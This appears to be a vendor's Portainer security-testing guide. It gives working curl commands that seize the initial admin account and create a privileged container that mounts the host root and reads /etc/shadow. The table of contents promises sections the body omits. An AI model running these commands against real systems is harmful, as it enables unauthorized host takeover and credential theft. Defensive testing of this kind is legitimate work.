Portainer Security Testing: Default Credentials, Container Escape, Privileged Container Creation, and API Token Exposure

Portainer is one of the most widely deployed Docker and Kubernetes management UIs, used by tens of thousands of organizations to manage container infrastructure. Its security surface encompasses several critical areas: Portainer's initial admin setup must be completed within a 5-minute window after first launch — deployments that miss or ignore this create an accessible instance with a freely-chosen weak password or, in some versions, bypass the setup entirely; Portainer users with the "Operator" role can deploy containers with --privileged flag and host filesystem volume mounts without admin approval, providing a direct container escape path to root on the Docker host; Portainer API access tokens generated via the REST API have no expiry by default and persist indefinitely even after password changes; Portainer's agent mode uses TCP port 9001 with TLS that is commonly misconfigured or self-signed in ways that don't prevent MITM; and Portainer's environment variables for container deployments are stored in plaintext in the Portainer database and visible to all users with access to that endpoint. This guide covers systematic Portainer security assessment.

Table of Contents

  1. Portainer Discovery and Authentication Testing
  2. Container Escape via Privileged Deployment
  3. API Token Theft and Persistent Access
  4. Environment Variable Credential Exposure
  5. Portainer Agent Security Testing
  6. Portainer Security Hardening

Portainer Discovery and Authentication Testing

# Portainer default ports: 9000 (HTTP), 9443 (HTTPS), 9001 (agent)
# Portainer Business Edition may run on 8000 (tunnel)

# Check Portainer UI availability
curl -s -o /dev/null -w "%{http_code}" \
  http://portainer.example.com:9000/api/system/status 2>/dev/null
# 200 = accessible, check the response for version info

# Get Portainer version (unauthenticated)
curl -s http://portainer.example.com:9000/api/system/status 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Portainer {d.get('Version','?')}\")" 2>/dev/null

# Test initial setup bypass (older Portainer versions)
curl -s -X POST \
  http://portainer.example.com:9000/api/users/admin/init \
  -H "Content-Type: application/json" \
  -d '{"Username":"admin","Password":"attack3r123!"}' 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print('Init successful' if 'jwt' in d else d.get('message','no jwt'))" 2>/dev/null
# If the 5-minute window has passed, this returns "admin user already initialized"
# If within the window, this sets an attacker-controlled password

Container Escape via Privileged Deployment

# Users with Operator role or higher can deploy containers via the API
# A privileged container with host filesystem mount provides root on Docker host

# Step 1: Authenticate to Portainer API
TOKEN=$(curl -s -X POST \
  http://portainer.example.com:9000/api/auth \
  -H "Content-Type: application/json" \
  -d '{"Username":"operator_user","Password":"known_password"}' 2>/dev/null | \
  python3 -c "import json,sys; print(json.load(sys.stdin).get('jwt',''))" 2>/dev/null)

# Step 2: List available endpoints
ENDPOINT_ID=$(curl -s \
  -H "Authorization: Bearer ${TOKEN}" \
  http://portainer.example.com:9000/api/endpoints 2>/dev/null | \
  python3 -c "import json,sys; endpoints=json.load(sys.stdin); print(endpoints[0]['Id'])" 2>/dev/null)

# Step 3: Deploy a privileged container with host filesystem access
curl -s -X POST \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  "http://portainer.example.com:9000/api/endpoints/${ENDPOINT_ID}/docker/containers/create" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "chroot /host cat /etc/shadow"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/host"],
      "NetworkMode": "host"
    }
  }' 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('Id','error: '+str(d.get('message',d))))" 2>/dev/null
# Spawns container that reads /etc/shadow from the Docker host filesystem

Portainer Security Hardening

Portainer Security Hardening Checklist:
Security TestMethodRisk
Initial admin setup bypass (5-minute window)POST /api/users/admin/init within 5 minutes of deployment — sets attacker-controlled passwordCritical
Container escape via Operator privileged deploymentDeploy privileged container with /:/host bind mount — chroot to host and read /etc/shadowCritical
Non-expiring API tokens persist after password changeGenerate API token, change password — verify token still authenticates to APIHigh
Environment variables with secrets visible to all endpoint usersView container details in UI — env vars containing DB passwords, API keys visible to all with endpoint accessHigh
Portainer agent accepts connections without certificate verificationMITM agent TCP port 9001 — self-signed TLS allows interception of Docker API commandsHigh
Portainer database contains plaintext credentialsAccess Portainer data volume — Docker registry credentials, SSH keys stored in bolt DBHigh

Automate Portainer Security Testing

Ironimo tests Portainer deployments for initial admin setup bypass during the 5-minute initialization window, container escape via privileged container deployment with host filesystem mounts by Operator-role users, non-expiring API tokens that persist after password rotation, environment variable credential exposure to all endpoint users, Portainer agent TLS certificate validation weaknesses on port 9001, and Portainer database access exposing stored registry credentials and SSH keys.

Start free scan